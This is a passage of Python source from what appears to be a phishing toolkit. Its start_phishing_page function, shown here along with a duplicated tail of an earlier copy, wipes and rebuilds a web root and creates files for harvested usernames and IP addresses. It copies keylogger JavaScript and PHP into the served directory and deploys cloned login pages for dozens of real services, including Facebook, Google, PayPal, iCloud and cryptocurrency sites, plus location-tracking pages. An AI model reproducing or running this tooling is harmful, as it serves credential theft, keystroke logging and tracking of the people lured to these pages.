'Instagram': webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/") elif custom_option == '4' and page == 'Instagram': webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/") elif custom_option == '5' and page == 'Instagram': webpage_set("WebPages/instafollowers/", "Server/www/") elif custom_option == '1' and page == 'VK': webpage_set("WebPages/VK/", "Server/www/") elif custom_option == '2' and page == 'VK': webpage_set("WebPages/VK_poll_method/", "Server/www/") elif page == 'GitLab': webpage_set("WebPages/gitlab/", "Server/www/") elif page == 'NetFlix': webpage_set("WebPages/netflix/", "Server/www/") elif page == 'Origin': webpage_set("WebPages/origin/", "Server/www/") elif page == 'Pinterest': webpage_set("WebPages/pinterest/", "Server/www/") elif page == 'ProtonMail': webpage_set("WebPages/protonmail/", "Server/www/") elif page == 'Spotify': webpage_set("WebPages/spotify/", "Server/www/") elif page == 'Quora': webpage_set("WebPages/quora/", "Server/www/") elif page == 'PornHub': webpage_set("WebPages/pornhub/", "Server/www/") elif page == 'Adobe': webpage_set("WebPages/adobe/", "Server/www/") elif page == 'Badoo': webpage_set("WebPages/badoo/", "Server/www/") elif page == 'CryptoCurrency': webpage_set("WebPages/cryptocurrency/", "Server/www/") elif page == 'DevianArt': webpage_set("WebPages/devianart/", "Server/www/") elif page == 'DropBox': webpage_set("WebPages/dropbox/", "Server/www/") elif page == 'eBay': webpage_set("WebPages/ebay/", "Server/www/") elif page == 'Myspace': webpage_set("WebPages/myspace/", "Server/www/") elif page == 'PayPal': webpage_set("WebPages/paypal/", "Server/www/") elif page == 'Shopify': webpage_set("WebPages/shopify/", "Server/www/") elif page == 'Verizon': webpage_set("WebPages/verizon/", "Server/www/") elif page == 'Yandex': webpage_set("WebPages/yandex/", "Server/www/") elif custom_option == '1' and page == 'Reddit': webpage_set("WebPages/Reddit/", "Server/www/") elif custom_option == '2' and page == 'Reddit': webpage_set("WebPages/Reddit-old/", "Server/www/") elif page == 'Subitoit': webpage_set("WebPages/subitoit/", "Server/www/") elif page == 'PlayStation': webpage_set('WebPages/playstation/', "Server/www/") elif page == 'Xbox': webpage_set('WebPages/xbox/', "Server/www/") elif page == 'CUSTOM(1)': print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set('WebPages/CUSTOM(1)/', "Server/www/") elif page == 'CUSTOM(2)': print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set('WebPages/CUSTOM(2)/', "Server/www/") # Tools Below && Phishing Pages Above elif custom_option == '1' and page == 'LOCATION': wait(3) webpage_set('WebPages/TOOLS/nearyou', "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) elif custom_option == '2' and page == 'LOCATION': wait(3) webpage_set('WebPages/TOOLS/gdrive', "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_contunue_if_setup_correctly"]) else: run_command('clear') print("Please choose a valid option") time.sleep(1) start_main_menu()
def start_phishing_page(page, custom_option): # Phishing pages selection menu run_command(["chmod", "-R", "777", "Server"]) rmtree("Server/www", onerror=simple_informant.remove_readonly) mkdir("Server/www") pathlib_Path("Server/www/usernames.txt").touch() pathlib_Path("Server/www/ip.txt").touch() copyfile("WebPages/ip.php", "Server/www/ip.php") copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt") copyfile("WebPages/keylogger.js", "Server/www/keylogger.js") copyfile("WebPages/keylogger.php", "Server/www/keylogger.php") try: remove("link.url") except FileNotFoundError: pass if custom_option == "1" and page == "Facebook": webpage_set("WebPages/fb_standard/", "Server/www/") elif custom_option == "2" and page == "Facebook": webpage_set("WebPages/fb_advanced_poll/", "Server/www/") elif custom_option == "3" and page == "Facebook": webpage_set("WebPages/fb_security_fake/", "Server/www/") elif custom_option == "4" and page == "Facebook": webpage_set("WebPages/fb_messenger/", "Server/www/") elif custom_option == "1" and page == "Google": webpage_set("WebPages/google_standard/", "Server/www/") elif custom_option == "2" and page == "Google": webpage_set("WebPages/google_advanced_poll/", "Server/www/") elif custom_option == "3" and page == "Google": webpage_set("WebPages/google_advanced_web/", "Server/www/") elif page == "LinkedIn": webpage_set("WebPages/linkedin/", "Server/www/") elif page == "GitHub": webpage_set("WebPages/GitHub/", "Server/www/") elif page == "StackOverflow": webpage_set("WebPages/stackoverflow/", "Server/www/") elif page == "WordPress": webpage_set("WebPages/wordpress/", "Server/www/") elif page == "Twitter": webpage_set("WebPages/twitter/", "Server/www/") elif page == "Snapchat": webpage_set("WebPages/Snapchat_web/", "Server/www/") elif page == "Yahoo": webpage_set("WebPages/yahoo_web/", "Server/www/") elif page == "Twitch": webpage_set("WebPages/twitch/", "Server/www/") elif page == "Microsoft": webpage_set("WebPages/live_web/", "Server/www/") elif page == "Steam": webpage_set("WebPages/steam/", "Server/www/") elif page == "iCloud": webpage_set("WebPages/iCloud/", "Server/www/") elif custom_option == "1" and page == "Instagram": webpage_set("WebPages/Instagram_web/", "Server/www/") elif custom_option == "2" and page == "Instagram": webpage_set("WebPages/Instagram_autoliker/", "Server/www/") elif custom_option == "3" and page == "Instagram": webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/") elif custom_option == "4" and page == "Instagram": webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/") elif custom_option == "5" and page == "Instagram": webpage_set("WebPages/instafollowers/", "Server/www/") elif custom_option == "1" and page == "VK": webpage_set("WebPages/VK/", "Server/www/") elif custom_option == "2" and page == "VK": webpage_set("WebPages/VK_poll_method/", "Server/www/") elif page == "GitLab": webpage_set("WebPages/gitlab/", "Server/www/") elif page == "NetFlix": webpage_set("WebPages/netflix/", "Server/www/") elif page == "Origin": webpage_set("WebPages/origin/", "Server/www/") elif page == "Pinterest": webpage_set("WebPages/pinterest/", "Server/www/") elif page == "ProtonMail": webpage_set("WebPages/protonmail/", "Server/www/") elif page == "Spotify": webpage_set("WebPages/spotify/", "Server/www/") elif page == "Quora": webpage_set("WebPages/quora/", "Server/www/") elif page == "PornHub": webpage_set("WebPages/pornhub/", "Server/www/") elif page == "Adobe": webpage_set("WebPages/adobe/", "Server/www/") elif page == "Badoo": webpage_set("WebPages/badoo/", "Server/www/") elif page == "CryptoCurrency": webpage_set("WebPages/cryptocurrency/", "Server/www/") elif page == "DevianArt": webpage_set("WebPages/devianart/", "Server/www/") elif page == "DropBox": webpage_set("WebPages/dropbox/", "Server/www/") elif page == "eBay": webpage_set("WebPages/ebay/", "Server/www/") elif page == "Myspace": webpage_set("WebPages/myspace/", "Server/www/") elif page == "PayPal": webpage_set("WebPages/paypal/", "Server/www/") elif page == "Shopify": webpage_set("WebPages/shopify/", "Server/www/") elif page == "Verizon": webpage_set("WebPages/verizon/", "Server/www/") elif page == "Yandex": webpage_set("WebPages/yandex/", "Server/www/") elif custom_option == "1" and page == "Reddit": webpage_set("WebPages/Reddit/", "Server/www/") elif custom_option == "2" and page == "Reddit": webpage_set("WebPages/Reddit-old/", "Server/www/") elif page == "Subitoit": webpage_set("WebPages/subitoit/", "Server/www/") elif page == "PlayStation": webpage_set("WebPages/playstation/", "Server/www/") elif page == "Xbox": webpage_set("WebPages/xbox/", "Server/www/") elif page == "CUSTOM(1)": print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set("WebPages/CUSTOM(1)/", "Server/www/") elif page == "CUSTOM(2)": print(localization.lang_start_phishing_page["custom_folder_directory"]. format(page=page)) print( localization.lang_start_phishing_page["manual_reading_suggestion"]. format(page=page)) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["copying_your_files"]) wait(3) webpage_set("WebPages/CUSTOM(2)/", "Server/www/") # Tools Below && Phishing Pages Above elif custom_option == "1" and page == "LOCATION": wait(3) webpage_set("WebPages/TOOLS/nearyou", "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) elif custom_option == "2" and page == "LOCATION": wait(3) webpage_set("WebPages/TOOLS/gdrive", "Server/www/") print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"]) input(localization.lang_start_phishing_page[ "press_enter_to_continue_if_setup_correctly"]) else: run_command("clear") print("Please choose a valid option") time.sleep(1) start_main_menu()